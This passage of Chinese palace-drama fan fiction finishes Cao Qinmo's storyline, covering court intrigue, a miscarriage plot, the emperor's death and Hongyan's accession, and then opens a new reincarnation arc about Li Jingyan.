更何况,武无双这一‘胎’本就是保不住的,她得做做样子拦一拦,最起码得到五六个月了,才能有故人之态啊。 “这是怎么了?谁惹了你了?” 曹琴默在花房发了‘好大’的脾气,皇上听到消息赶了过来。 他瞧着曹琴默气的脸都红了还有些意外,毕竟,在皇上心里,曹琴默一直是温和的。 “皇上也知道,咱们温宜每日里都要得一束鲜花在屋子里,所以臣妾得空就来花房走一圈。” 皇上点了点头,这习惯已经好多年了,福慧那小人精还经常拿着自己换下来的鲜花到他的养心殿摆着。 “今儿早上温宜说想扎个花环,臣妾便来挑一挑,没成想看到他们把百合和郁金香往永寿宫里送。 皇上您是知道臣妾的,臣妾得您信任为几位妹妹的胎也算是出过力。这百合和郁金香万不能放到孕妇的室内,轻者头晕恶心,重者可能会中毒啊皇上!” 曹琴默的眼神似含了悲切,但一瞬间就收了回去,皇上却看的分明。 他拉着曹琴默的手安慰了一下,而后反思自己还是不够细心。 “谁叫你们送过去的?” 兰妃喜欢鲜花一类的摆件基本上是后宫皆知的,没成想居然有人在插花瓶上做文章,看来后宫人一多是非就多。 “回皇上的话,是管事的叫咱们送去的。说是挑些新鲜的,给兰妃娘娘欣赏。” 小太监看着又瘦又小,整个人哆哆嗦嗦的跪趴在地上声音都是抖的。 皇上没管这个小太监,把管事的叫来一看,心下有些明悟,也没有多问叫夏刈带着人就下去了。 普普通通的花房管事,喊冤求饶的话他都听腻了。涉及到年世兰的替身武无双,皇上可不会轻拿轻放,慎刑司可能有问题,但夏刈那里绝对安全。 不过两天,夏刈带着消息来到养心殿。 “郭络罗氏,倒是大胆。” 许是曹琴默为他营造的祥和看的多了,差点忘了自己的后宫也多了些满族的大姓,吃人不吐骨头的戏码也该上演了。 “苏培盛,传旨下去,宁贵人郭络罗氏御前失仪,褫夺封号降为常在,禁足一月。” 圣旨传来,永和宫的嘉嫔吹了吹手上将干未干的寇丹笑了笑,看来皇上对于兰妃这胎有些太过重视了,这对于她的弘映来说,可不是什么好事。 至于被她言语挑拨一二就动了手的郭络罗常在,探路的蠢货罢了,不值得同情。 倒是那位‘恰到好处’的贤贵妃,嘉嫔弯了弯嘴角,笑的越发温柔似水。 而储秀宫复盘后察觉出嘉嫔的小动作的曹琴默也笑了,嘉嫔还是年轻,太心急了。 眼瞧着兰妃的肚子逐渐有了弧度,皇上不知怎的却越发的不安。 曹琴默只做不知,皇上不让她插手永寿宫的事她就不插手,素日里和齐贵妃婉嫔和丽妃一起打打叶子牌,顺便享受一下儿女们的关心,日子悠哉哉。 可四月的一晚,永寿宫传来消息,兰妃小产了。 曹琴默顾不得梳妆,只披了大氅便赶了过去。 “给朕查!这安胎药到底经过了谁的手!” 巨大的恐慌弥漫在皇上的心底,他握着兰妃的手看向兰妃那张苍白的脸,似是看到了当年躺在雍亲王府的年世兰。 江城悄悄的抹了一把头上的汗,心想这是安静了几年后最刺激的一晚了。 兰妃的安胎药里被掺杂了大量的麝香,这才导致了兰妃六月的‘孩子’被打了下去。 “皇上!皇上!臣妾的孩子没了,你要为臣妾做主啊!” ‘王爷!王爷!世兰的孩子没了,你要为世兰做主啊!’ 抓着皇上的手哭诉的兰妃在皇上眼里和心里的影子重合在了一起,他死死地咬着牙,咽下喷涌而出的酸涩。 “朕,定会给咱们的 孩子做主的。” 当年的事过去了,世兰原谅朕了。 皇上在心里安慰自己。 第195 章 曹琴默53 永寿宫有自己的小厨房,兰妃的身子又一向是康健的,这次的安胎药也只是因为天气忽冷忽热有些见了风,不得已用上两碗而已。 永寿宫里的人都是苏培盛看着挑选的,查来查去也没发现有不妥之处。 苏培盛一脑门子的汗,后背湿的透透的,腿都打了颤也不敢休息。 他亲自挑选的人出了这么大的纰漏,若是查不出个子丑寅卯来。想着皇上刚才在永寿宫那瘆人的表情,苏培盛脖梗子隐隐作痛。 江城跟着忙活了大半宿,才从黑乎乎的药渣里找出了些端倪。 “苏公公!” 江城红着眼大叫了一声!虽然知道了结果,但代入的公式可没给,他这是实打实的为了这份薪水在拼命断案。 “江太医可是有眉目了?” 苏培盛看了眼无功而返的夏刈,把所有希望寄托在了江城身上。 “苏公公,这药渣里桑寄生的味道不对,似是被麝香浸泡过。 与旁的杜仲白术有所不同。它们的味道更浅显些,桑寄生已经完全失了本身的药味。” 苏培盛听懂了江城的意思,赶紧叫夏刈去查桑寄生的来源和抓药的人章弥和他的小医士何参。 虽然曹琴默大方的把江城给兰妃安胎,但皇上犹觉得不足,把自己身边的章弥也一并用着。 这倒是不用叫曹琴默给江城摘出来了,皇上人还怪好嘞。 有了头绪,夏刈还是有些用处的,从何参入手,找到了其藏在小院的外室,而后发现了被绑走的私生子,最后顺藤摸瓜,找到了郭络罗氏的头上。 送进宫的郭络罗氏本就是旁支,本意是跟皇上示个好,表明他们已经从先帝那朝出来啦,不会跟皇上对着干哒!没想到送进宫的孩子这么有‘出息’,这么重的黑锅说背就背。 皇上一怒之下赐了宫里的郭络罗常在自尽,其家族那一族全部流放抄家。 至于郭络罗氏名下的阿哥,也受到了迁怒,被皇上过继给了庆郡王胤禑,庆郡王乃是康熙第十五子,一个儿子也没有,并且人也因病在雍正八年就去了。 这位名弘旦的阿哥也算是好运,虽然不再是皇子,但今后一个郡王爵位也是少不了的。 尘埃落定时,嘉嫔再去储秀宫请安,就见到贤贵妃手上缠着一串颜色陈旧暗黄的白玉珠子。 这原不是什么贵重东西,如果上头的络子不是她安排躲进郭络罗氏的陪嫁庄子的人的,那就更好了。 嘉嫔苦笑了一下,还是她太过拿大了,自以为凭借喜塔腊这个姓氏和出众的容貌,进宫后对汉军旗的贤贵妃并未太过放在心上。 如今想来,额娘说的很对,这样的人,坐稳了贵妃之位,怎么会是无能之辈。 嘉嫔还想做些什么,但谈笑间贤贵妃的手腕反转,指尖上闪过的影子赫然是一块豆绿色的平安牌,那是她亲手挂在弘映脖子上的。 她心头如坠了万斤冰渣,又冷又疼。她自认自个儿的宫中都是家里安排好的,可现实给了她一个响亮的巴掌。 她们这些老牌家族自以为的底牌,在后宫深耕多年掌管宫权的贵妃面前,不值一提。 她低下了头,在请安后打着请教养孩子的由头跪在了储秀宫里。 “臣妾年轻莽撞,得了娘娘提点感激不尽。” 曹琴默借着扶嘉嫔起身的动作把平安牌放进她的手里:“妹妹进宫晚些,又年轻,有事来找本宫就是。” 嘉嫔微笑点头,再多的心思都嚼碎了咽下去,随着呼吸消散在了这有些野蛮的后宫。 而皇上近乡情怯,兰妃如今的模样和当年的年侧福晋太像了。 他无数次在翊坤宫里坐着,看着年世兰的画像发呆:“世兰,世兰,这是不是报应。是不是朕杀了咱们的孩子的 报应?” 可惜画里的年世兰没办法开口,不然非要用鞭子给他来个全身‘按摩’才好。 兰妃失了孩子,叫皇上有许多时日都沉浸在愧疚和自责中。对于时常来安慰老父亲的温宜便更为宠爱。 “福慧也大了,生的钟灵毓秀,朕挑选了几个世家的公子,你也看着些,为咱们福慧好好掌掌眼。” 曹琴默接过皇上手里的册子,第一个名字便是富察氏的傅恒。 第二页是章佳氏阿桂,满洲正蓝旗人,其父是刑部尚书阿克敦。 往后的名单里集满了几大姓氏,钮钴禄氏,瓜尔佳氏,佟佳氏,赫舍里氏,那拉氏和马佳氏都在其内。 曹琴默挨个看去,把曹家送来的消息和年家送来的册子一一对应,还是觉得傅恒更为可靠些。 不过章佳氏阿桂也不错,印象里阿桂是乾隆时期十分厉害的武将。平定准噶尔,天山南麓回部霍集占兄弟叛乱,大小金川之役,镇压苏四十三起义等均立战功。 甚至累官至武英殿大学士,军机大臣。四次绘像于紫光阁,两次列名第一。【清史稿】中称赞阿桂为‘开诚布公,谋定而后动,负士民司命之重,固无如阿桂者。’ 曹琴默在傅恒和阿桂之间有所犹豫,不过还是把选择权交给了温宜自己做主。 私下里这些公子哥儿们难免有些或多或少的臭毛病,这在哪个时代都是无法避免的。 曹琴默只希望温宜的驸马是个正常人,就算做不到举案齐眉,互相尊重就好。 “你慢慢选,咱们福慧还小。” 这些人都被皇上圈了起来,摆明是为了固伦福慧公主择婿,大家心里都有数,时刻给自家儿子准备着合适的衣裳,以免宫里头的贤贵妃突然召见了谁。 看着曹琴默的眉头都要拧出个麻花,皇上心里不知怎么紧绷的情绪突然松快了下来。 他合衣靠在软榻上,看着曹琴默认真思索的神情慢慢睡了过去。 不知是不是思虑过重,皇上只在这一时半刻的,就梦到了还未入府时,骑着骏马一身红衣闯入视线的年世兰。 他刚刚伸出手喊了一声‘世兰’,就见马上的人面色飞快褪去红润,变的清瘦苍白,眼神里也带了哀伤。 皇上醒来想到的不是兰妃也不是年世兰,而是,他日夜思念纯元这么多年,纯元却从未入梦。 孝淑走了几年而已,却总有思念入怀。 这难道是证明,纯元对于他来说,并没有孝淑重要吗? 皇上带着一脑门子的官司回到养心殿,叫来了甄嬛。 也不说话,也不叫人起身,就这么静静的凝视着甄嬛的脸。 虽然是官女子,但在养心殿后头住着,吃穿都是不差的。 容貌还是那个容貌,但经历了四次生产的甄嬛自然是比不得从小精心护养,用过息肌丸的纯元。 她的眼尾有了一条细纹,唇色只是淡淡,眼神黯淡无光,小巧的两把头上缀了两朵粉色的珠花,并不显得娇俏,反而衬得甄嬛的肤色有些发黄。 皇上自己已经不年轻了,但不能接受纯元这张脸日渐衰老。 与此同时,仍旧美丽动人的兰妃越发似故人之貌,衬得纯元的光芒都暗淡了一大半。 曹琴默和敬嫔相对而坐,中间摆放着一方暖玉的棋盘。 她算是初学者,棋路易懂套路少,敬嫔本以为会下的艰难些。但没想到贤贵妃却不要求她让子。 “淑和到了年纪,如今正是太平的时候,可是给相看了?” 敬嫔很感激贤贵妃的提醒,早先就挑中的自家大哥的儿子冯华年,欣贵人也颇为满意。 “有了眉目了,想着这几日皇上心情不好,便放了放。” 敬嫔虽中庸,但到底也有自己的考量。她和欣贵人不求弘昔坐上那个位子。只求能平安的混到出宫开府便好,其余的,半分不想掺和。 如今看来,争的最厉害的是瑾妃的弘昕,富察氏的人自然不会放过这个机会。 有些苗头的也可能是芳妃的弘晏,他是除却三位成年阿哥最年长的一位,生母是满军旗的徐佳氏,养母是贵妃。皇上也经常夸赞其聪慧勇武。 所以敬嫔选择曹琴默是理所当然之事,毕竟人家瑾妃出身富察氏,可不缺她这仨瓜俩枣的。 不过瑾妃和弘昕的性子也不错,并不是小肚鸡肠斤斤计较的,和弘晏弘景他们玩的很好。 单看目前,敬嫔也说不上来谁的优势大。 弘昕有强有力的外家,但是为人敦厚学识并不算出众。 弘晏学识出众外家势力薄弱,但养母有手段还得皇上信任。 总之兄弟俩还没什么苗头,皇上也没有太过偏爱,她也不操心,只想着把淑和嫁出去就算了了一桩心事。 “有兰妃在,皇上近日还算舒心,挑个好日子赶紧定下来。” 对于能随口施恩的事曹琴默做的很熟练,看在弘昔对温宜还不错的份上,也算是个值得投资的。 她不怕做的多,哪个母亲会觉得女儿的保护罩是足够的呢? 第196 章 曹琴默54 皇上的身体机能下降的厉害,照镜时瞧着自己脸上纵横交错的皱纹和有些浮肿的双颊隐隐有些不安。 他按照太医的方法完全戒掉了所有甜味儿的吃食却仍旧不能阻止自己越来越少的牙离开牙床。 “兰儿,朕老了。” 皇上抬手摸了摸兰妃光滑细嫩的小脸眼神悠远。 “皇上不会老,百姓才会老,皇上是皇权,不会老。” 武无双进宫后有意的重拾起孝淑皇后的旧业,为皇上的消渴症添砖加瓦。 “哈哈,倒是甚少听你说这种恭维的话,竟是比蜜糖还要甜上三分。” 最近朝堂上日日吵闹着立储一事,皇上很不喜欢大臣这种暗示‘他老了’的举措。 不过有吵着立储的,也有说不着急的,皇上冷眼瞧着,儿子多了就是不一样,大臣们自发的开始挑选起来。 其中以富察氏为首是主张立储的一派,盖因宫里的瑾妃生下的九阿哥弘昕在御书房表现还不错。 而以喜塔腊氏为首的,则是主张暂不立储。因为宫中的嘉嫔的儿子弘映还小。 皇上拍了拍兰妃的手,起身往外走去:“朕去看看贤贵妃,你先歇着吧。” 兰妃虽好,但和世兰有异曲同工之妙,是个不怎么聪明的性子。 好在永寿宫和储秀宫的距离很近,皇上这日益增长的体重还能负担得起这一段距离。 储秀宫的牌匾和其它的宫室并没什么不同,但走进去皇上能明显的感受到其中独有的韵味。 他细细站在院子里看了看天,又看了看偏殿被风吹过悄悄露出的一角黄色的妆花纱,那是他特意赏赐给福慧的。 顺着妆花纱看进去,条案上那件天蓝釉双龙耳瓶上插着五六枝肆意生长的金盏菊和金桂,交织着勃勃向上的生机。 ‘是了,是生机。’皇上恍然。 无论去哪个宫室,大同小异的瓷器和博古架大多是按照他的审美素雅疏露的摆放着。只有储秀宫不同,完全是按照孩子们自己的想法在生活。 “皇上怎么不进来?” 曹琴默站在正殿门口并没有迎上去,她只穿了素雅的松石色的旗装,简单的挽了盘辫用两根水头清亮的翠色簪子固定着。 “朕瞧着福慧那屋里似是有些空荡,可是缺了什么?” 皇上不愿说自己在想什么,便转移了话题。 曹琴默只做不知:“昨儿个刚收拾的,说是瓶景和宝石帘子不应景了,张罗着弄新的呢。” 温宜有十一岁了,从小在国手的教导和前几年找了西洋画师学了油画后,对自己的衣着和装饰很有自己的想法。 曹琴默也不拘着她,任由她自己折腾。 去年觉得宫里头跑马不痛快,便去永寿宫跟自己的马术师傅兰妃撒了撒娇,当晚就得了皇上圆明园的永久使用权。 这一年带着阿桂和傅恒总是往外跑着,曹琴默这个额娘都快要见不到人了。 “嗯,福慧策马扬鞭之态才是咱们满族姑奶奶应该有的气势。” 皇上晃悠着进殿,坐在贵妃榻上拿起小几上的【孝经】看了看。 “这是弘景的字。” 这些个儿子里,唯有弘景临摹的他曾经的字帖,自然字体也是跟他最像的。 “可不是,也不知道婉妹妹那般温和的性子,怎的生了弘景这个皮猴。” 说着,曹琴默拿意味深长的眼神看了皇上一眼,然后自己有些忍不住笑了起来。 皇上也跟着笑,把她手腕上的十八籽抢了下来,把手里的新的换了过去。 “前儿个非要跟三贝勒比背书,赢了把永琏抱到了阿哥所,给臣妾吓坏了。这不,罚他抄书也是没用的。” “永琏这孩子脾气好,跟他阿玛一样,孩子们亲近,你也安安心,咱们弘景不是个没分寸的。” 眼瞧着曹琴默看他的眼神就要跟看和稀泥的大家长似的了,皇上赶忙转了个话头:“这福慧与富察氏和章佳氏那俩小子也算是熟悉了,怎么样?曹卿可有想法?” 曹琴默摇了摇头,都是极为出色的儿郎,长相也不分伯仲,她一时间没什么好挑剔的。 只看温宜的偏好了,傅恒玉树兰芝长的清秀隽雅。 阿桂则完完全全是另一个方向,身高腿长宽肩窄腰,从小习武的他瞧着就结实,面容也不差。 皇上见状说道:“朕还是更看好傅恒,阿桂是立志要上战场的,若是有个万一福慧可怎么好?” 曹琴默心想,可怎么好?那可太好了好吗? 有自己的公主府,有俸禄,还没有男人,这种自由自在金砌玉雕的日子才是她女儿应得的呢。 越想,越觉得阿桂是更为合适的人选。 但是曹琴默也只是摊了摊手:“且看福慧自己的想法吧,做额娘的总不好不顾及女儿的意愿。” “福慧都被你宠坏了。” 说是这么说,但这么多年可以说皇上亲自看着长大的女儿,他自己也是格外的宠溺的。 皇上在心里头扒拉起其他家族的男子来,总觉得只有两个备选实在委屈了福慧。 这段时间也确实忙碌,接连几日都安排着各家族的福晋进宫说话,曹琴默索性办了场小宴,也正好给弘晏也相看一下。 这边热热闹闹一片欢乐时,养心殿的甄官女子生下了此生最后一个孩子,一个瘦小的公主。 “皇上。” 五个孩子耗尽了甄嬛的气力,她看着头顶桃红色的百子千孙帐顶瞳孔有些涣散。 感觉到自己的血液快速的流失时,甄嬛仿佛看到了另一个自己。 一个也失去了所有亲近之人的自己。 只是那个自己,不知道允礼爱的是自己,还是那个人。 皇上拉着甄嬛的手,神情里却没有自己想象中的那般难过。 他好像看到了纯元老去的样子,心中毫无波澜,甚至有些疏离。 “这个孩子,皇上打算给谁?” 甄嬛只觉得这一生浑浑噩噩像是一个不需要自己思想的傀儡,即使绫罗绸缎燕窝鱼翅,也叫她无比厌恶。 回想自己的五个孩子,竟无一人可以亲自抚养成人,心酸之余还有些隐蔽的庆幸。 庆幸自己被关在这个小小的养心殿罩房里,没有跟人结好也没有跟人结怨,她的孩子,应该可以安稳做个亲王吧。 “朕会问一问贤贵妃。” 甄嬛突然吐出了一口血,问一问贤贵妃,她的五个孩子都是贤贵妃给分出去的!即便甄嬛并不是十分的在意孩子,也觉得有些剜心。 “这个孩子,就叫胧月吧。” 甄嬛不知道为什么,突然想到这个名字。 皇上随意的点了点头。 胧月被曹琴默给了吉嫔,扶蒙的公主,倒是也不必多费心思。 “娘娘,养心殿的甄官女子去了。” 曹琴默点了点头,复仇的戏码终于落幕了。 第197 章 曹琴默55 “额娘,阿桂说明儿个要带女儿去看看他的宝马。” 温宜和宫里头其他的公主最大的区别就是肤色。她喜欢跑马射箭打猎蹴鞠,相比起养在深宫的姐妹来说,会相对偏小麦色一些。 温宜并不在乎这些,她把曹琴默的话一向奉为圭臬,她会永远爱自己的一切。 曹琴默用温热的帕子沾了沾温宜额头上细密的汗珠:“这天儿都凉了,出了汗万要小心才是。” 温宜把自己完全窝在额娘的怀里,伸手把头上的簪环粗鲁的拔下去。 “女儿知道了。额娘,瞧我这个戒指好看吗?” 温宜伸手,一个硕大但镶金有些粗糙的戒指出现在曹琴默眼前。 她沉默了一阵子,那蛋面可以看的出是极为漂亮的帝王绿,但那用料实诚的戒托也实在叫她说不出好看两个字。 “哈哈哈,额娘不必为难,女儿知道这丑了些。” 瞧着温宜乐呵呵的样子,曹琴默伸出手戳了戳她的脑门。 “促狭的很。这是阿桂给你的?” 阿桂其实审美还不错,但他那双大手舞刀耍枪还好,做这些细致的活计就有些不够看了。 偏这人十分听温宜的话,温宜说自己做的心意足,他就吭哧吭哧的动起手。 相较于贴心但有疏离感的傅恒,温宜更喜欢跟像皇阿玛的百福一样听话的阿桂。 “嗯,他还雕了根簪子给我,那样子实在说不得好,扭扭捏捏的还不好意思拿出来。” 说起阿桂,温宜的话明显带了些甜蜜。 曹琴默摸了摸温宜的头发:“额娘希望温宜可以找一个心意相通的男子,但温宜,男子的心意是随时会变的。” “我知道,我喜欢现在的阿桂,要是他不是现在的阿桂了,我就不喜欢了。我还喜欢骑马, 喜欢甩鞭子,喜欢金子,喜欢宝石。 我知道现在把其他喜欢的排在了阿桂后面,若是今后他不再是我喜欢的模样,那我的宝马我的宝石,就会回到前面的位置。” “这就对了,这世间虽对于女子苛刻,但温宜不同,温宜是大清的固伦公主。你要活成自己想要成为的样子,而不是别人希望看到的样子。 若是环境限制了温宜的脚步,改变不得环境的情况下,温宜便可曲中取直,关起门来,没有人会过于深究一个公主的生活。” 曹琴默搂着温宜,但声音越来越低:“只要这天下还是爱新觉罗氏的天下,温宜,你就是最珍贵的公主。” 看向南方的曹琴默,眼神似乎穿过层层宫墙到了养心殿。 这位已经老态龙钟的皇帝也到了大限将至的时候。 弘晏和弘昕有争斗,但还在兄弟间可控制的范围内。 曹琴默从不插手孩子们的想法,但若是有人裹挟着弘晏的思想,她也不会任由其利用自己养大的孩子。 所以,弘昕对于这个总是唱反调的哥哥有生气,但从未有不满。 皇上经过三番考察,写下了继位圣旨放在了养心殿正大光明牌匾后头。 富察氏一族有了预感,他们的弘昕怕是挣不到了。 不说别的,单说岁数就失了先机。 皇上的身子眼瞧着就要作古,可弘昕比弘晏还要小两岁。 况且,富察氏就算再傲慢,也不能闭着眼睛说弘昕比弘晏厉害。 傅恒作为弘昕的表兄弟,当然知道他的斤两。 不过富察氏并不气馁,因为弘晏的福晋,定了他们富察氏的女儿。 左右都是他们富察氏得利,实在没必要在最后这一哆嗦再次乱站队。 吸取皇上登基时小心眼表现,富察氏在这段时间可谓是如履薄冰。 这一切都跟曹琴默无关,眼瞧着皇上还在挣扎,她有些无趣的给武无双安排了最后一场戏。 别看皇上上了岁数能力不行,但于女色方面从未有过节制。 “皇上,臣妾有孕了。!” 武无双这场戏也到了快要落幕的时候,就一起带着皇上走吧。 “果真?!” 皇上乐的像个二百斤的孩子,眼睛都看不见了。 只是这份开心并没有持续太久,这针兴奋剂也就叫皇上容光焕发了一个多月,就在兰妃先兆流产中一起吐血昏迷了过去。 皇上并未立太子,但弘晏能力强弘昕外家厉害,两个人便一同监国。 富察氏春风得意,安分又带了些骄傲的在朝堂上辅佐两位阿哥。 其余人也只能酸一酸了,谁让人家拼外孙是九皇子,拼孙女是钦定的六福晋呢! “皇上,您醒了。” 昏迷了三日,皇上才挣扎着醒了过来。 看着床边的曹琴默和齐贵妃,皇上深吸了口气。 “兰妃怎么样了?” 曹琴默抿了抿唇低下了头。齐贵妃叹了口气:“皇上节哀,兰妃受不住小产,大出血去了。” 曹琴默使劲儿的掐着自己的手心,低着的头咬紧了嘴唇。这就是她为什么死活要带着齐贵妃的理由,这张嘴她真的很爱! 皇上一口气没倒上来,又晕了过去。 在太医的施针下,皇上醒来的第一句话便是“世兰,这是不是报应。” 曹琴默不知道这是不是年世兰给他的报应,但她知道皇上这是要给她福报了。 “来人,把弘晏和弘昕他们叫来。” 曹琴默带着齐贵妃退了出去,默默的安排起嫔妃和皇子公主们。 弘晏和弘昕把皇上昏迷时朝堂上一些重要的事情捡了捡说给皇上听。 皇上点了点头,看着二人:“继位的圣旨在正大光明牌匾后,你们觉得,朕属意谁?” 弘昕看向弘晏,弘晏安抚的拍了拍弘昕的手。 皇上把两人的小动作看的分明,心里头不知道在想什么。 “皇阿玛,儿子们到现在了也不跟您说虚头巴脑的,儿子自认比弘昕聪明些,但弘昕最大的优势就是底气足。 所以皇阿玛给谁传位都行,儿子说不想当皇帝太虚伪了。但也不会因为没当上皇帝就跟九弟闹翻了脸。 这样也太没风度了些,额娘说了,胜败都是她的好儿子。额娘都疼我们,这些都是次要。” 皇上咳了两声,这个弘晏聪明归聪明,就这张嘴实在烦人。 弘昕点了点头:“儿子确实没有六哥聪明,但儿子有傅恒表哥呢,左右皇阿玛选谁都不亏。” 皇上摆了摆手,倒是也为自己的儿子骄傲。 “行了,左右就是你们俩了,等着吧。” 皇上懒得多说:“只一点,朕已经写了圣旨,福慧的婚事你们可要放在心上。” 弘晏和弘昕点了点头,福慧姐姐的婚事就是顶天儿重要的事。 “放心吧皇阿玛,阿桂等着呢。” 温宜还是更喜欢阿桂,因为阿桂听话的样子很有种与外表不符的可爱。 皇上也知道福慧对阿桂的态度,这让他气也气不得,还觉得有几分可笑。 “朕与纯元和孝淑合葬在一起,乌拉那拉氏只有一位皇后,那就是纯元。” 弘晏应了下来,本来景仁宫那位他也没打算叫她活到新帝登基。 都交代完了,皇上一放松,人就不行了。 忙活完皇上的丧仪,曹琴默和齐贵妃带着苏培盛和众位大臣来到正大光明牌匾下。 奉天承运皇帝,诏曰: 朕以凉德,缵承大统,兢兢焉,恐负上天付托之重,殚精竭虑,宵旰图治,于兹十余载。今朕年事已高,精力渐衰,倦勤之意日增。 环顾诸皇子,皇六子弘晏,性行敦良,人品贵重,自幼好学,识见卓越,且居心坦诚,行事公正,深肖朕躬。 每遇大事,能沉稳应对,思虑周详,颇具担当。其于政务多有建言,见解独到,且能实心任事,不辞辛劳,于国于民,皆有赤诚之心。朕观其德才兼备,必能克承大统,使我大清江山社稷,永享太平,绵延万代。 著皇六子弘晏,继朕登基,即皇帝位。望其嗣位之后,敬天法祖,勤政爱民,整饬吏治,弘扬圣德,保我大清之昌盛,佑万民之安康。 朕大行之后,丧礼规制,一应事宜,着诸臣工,依例而行,务必隆重肃穆,以昭朕之遗泽。 布告天下,咸使闻知。 爱新觉罗胤禛 雍正十三年一月三日 弘晏于乾清宫登基为帝,先是追尊生母芳妃为太后,而后是册封兄弟们的圣旨。 三贝勒为安亲王,九阿哥弘昕为定亲王,四阿哥弘历为平郡王,五阿哥弘昼为温郡王,其余弟弟按排名全部为贝勒,只等他们能出宫开府,便可再进一步。 至于曹琴默,弘晏虽然强烈要求其并太后之尊,但被曹琴默拒绝了。 “额娘知道弘晏是个孝顺懂事的孩子。但正因为如此,额娘不能叫弘晏难做。 既然先帝临终时并未晋封额娘,那额娘就当不得弘晏的太后。 弘晏,额娘做什么都好,只要你好好儿的就行,知道了吗?” 弘晏感恩曹琴默十余年的照顾与付出,封其为慈圣皇贵太妃,并允其身下阿哥成年开府后,择一人出宫荣养。 这是弘晏和弘景他们商量好的,这宫里红砖绿瓦是天下最尊贵的地方,但他们也知道这方方正正的墙困了额娘一生。 虽然弘晏不舍,但不想额娘在这里蹉跎余下的岁月。 温宜在守孝三年后,十里红妆下嫁给武举一甲武状元章佳阿桂。其公主府也是由先帝亲自画的图纸,历经三年修建而成。 温宜成婚后第一件事,便是把自家额娘接到公主府荣养。 虽然几个弟弟都有意见,但姐姐的威力可不是说说而已。 曹琴默看着温宜与阿桂年轻时恩爱两不疑,育有一子一女后,阿桂奔赴战场屡立战功。 中年时光可以说温宜是陪着儿女和额娘快活的度过的。 曹琴默走时,温宜也有了四十岁,儿女双全生活质量如一,她摸了摸温宜的手,放心的闭上了眼睛。 (曹姐写完啦,智商有限可能没有发挥出曹姐特别玩转人心的感觉,凑合看吧,爱你们~) 第198 章 李静言1 (聪明人写的累,换个小笨蛋轻松一下。) 池烟回到地府的时候,第一眼看见的便是血泪满脸的曹琴默。 “谢谢你!我的温宜过的很好。” 兀自安抚着自己受到了惊吓的小心灵,池烟慢吞吞的说道:“没事,你满意就好。” 曹琴默的灵魂逐渐变的透明,从她的魂体处剥离出一枚泛着金光却温和不刺眼的珠子。 “这是凝聚了曹琴默最真挚的慈母之心而成的力量。只有真心爱护自己孩子的母亲才会有。” 九殿突然出现在池烟身边,这金珠在地府算不上稀罕物,但却不是每个母亲都有的。 池烟伸出手,那金珠落在她的手心便消失不见。 “滋养神魂这东西确实是大补,不过你也不用太期待,甄嬛传玩遍了也出不来几个。” 九殿扒拉了一下后头排队的人,夸张的摇了摇头。 “我也没有很期待,有我就拿着,没有就算了,我这个人,哦不是,我这个鬼从不为难自己。” 飘荡这么多年,池烟学会的唯一的道理就是看的开放的下。 九殿竖着大拇指给池烟点赞,推着她的后背往前走:“好啦,我给你排上队了,你去玩吧。” 身为九殿,怎么会没有小弟代排队呢?不过一个区区鬼满为患的电玩城而已,轻松拿捏。 池烟伸手从自己的空间里掏出一个红翡雕刻而成的彼岸花戒指塞进九殿的手里,随即小脚一蹬,直接离开了这里。 这地府虽然和阳间的货币并不流通,但哪个女人能拒绝得了这么漂亮的首饰呢?九殿也只是个几十万岁的年轻女孩子呀。 放假的日子总是过的很快的,还没等池烟到推币机玩儿上个百八十次,脖子上挂着的工作铃就响了起来。 她把手里的麦旋风一股脑的倒进嘴里,正好赶着铃声的最后一秒到达工作现场。 九殿凑到池烟身边悄悄的说道:“这我可是第一个通知你的哦,这位身上的慈母力量也不弱呢。” 池烟抬头一看,身着宝石绿旗装的女子虽然面容瞧着有些上了年纪,但眼神仍旧清澈。 “这位大人,本,我是齐妃李静言。” 正说着,后头说说笑笑的一同过来几个同事,李静言闭上了嘴有些无措的看了眼旁边的九殿。 “没事,你要是选定了池烟,我叫她们去别人那儿就好。” 甄嬛传的队伍一眼望不到头,根本不缺工作岗位。 李静言憨憨的笑了笑:“就,就这位大人吧。” 池烟挥了挥手,李静言的魂魄跟着她飘到了一旁的会客区,不耽误别的同事继续上岗。 “你有什么要求,现在可以说了。” 池烟倒是喜欢齐妃,工作起来肯定轻松的很。 “我只希望,保住我的弘时。” 齐妃在这地府也有段时间了,浑浑噩噩的飘荡了许久,也没见到她的弘时下来。本以为弘时再不济也是个亲王,但自沈眉庄那次后,了解到了弘时的未来,很是凄惨。 “这个简单,没有必须登基或者当皇后太后的要求吧?” 池烟不知从哪拿出一根笔,在纸上写写画画的,还挺有仪式感。 齐妃摇了摇头:“弘时不是那块料子,平安健康的,比什么都好。又不是公主还要提心吊胆的,我的弘时这么懂事,一个亲王不过分吧?” 池烟掐了掐自己的大腿在心里暗念了一声‘糟糕’,忘了自己是鬼了,一点也不痛呢。 低着头努力维持住了脸上端正的工作态度,继续问道:“没有要二胎的要求吧?” “不要,生一个还不行?生十个皇上也不会叫我做贵妃,费那劲做什么。” 池烟艰难的把嘴角压了压:“行,没有别的要求我就走了。” 齐妃拿出帕子挥了挥:“大人,照顾好我的弘时啊。” 眼前的光圈一闪,池烟听到的第一句话便是:“我儿要去四贝勒府里做格格了,本官以后也是皇亲国戚!” 李静言眼前的画面都没看完整就倒吸一口凉气,好家伙一来就这么刺激吗? 等到她把周围的情形尽收眼底时,有种怪不得齐妃是个笨蛋的感慨。 这一家人,瞧着都不是什么聪明的。 眼神清澈的拼不出一个心眼子。 单瞧其父李昌源,明明面相是温润的人夫之感,却能干出在女儿被纳入四贝勒府后,贪污白银万两之事。 李静言抬着下巴满脸的骄矜得意,她看了看在场的家人,清了清嗓开口道:“爹说的对,以后啊,咱们家也是皇亲国戚了!” 李昌源带头拍着巴掌,一家人面上没有一个带了恐慌的,这让李静言本人有点恐慌。 她在心里给自己加油打气,随即抬手压了压,做出一副要发言的样子。 “虽说爹只是个知府,但大小也是大名府最大的官了,今后咱们家的身家可就跟那些知府家不同,咱们是出了皇子格格的人。” 看着大家都认同的点头,李静言继续道:“这次选秀,女儿也算是见识了天家富贵,还有那教导嬷嬷,可是说了不少关于四贝勒的事呢。” 她的声音放低,表情也越发的神秘,勾的家里人也跟着弯腰,把脑袋凑近李静言的身边。 至于宫里的教养嬷嬷怎么会说皇子的事情,那他们根本没意识到任何不对。 “女儿的教养嬷嬷,可是佟佳氏的!佟佳氏爹你知道吧!那可是四贝勒养母的姓氏!” 李昌源双手捂着嘴,一脸的兴奋被憋的通红,他快速的点头,比小鸡啄米的频率都高。 大家见到当家的点头,也跟着兴奋起来。 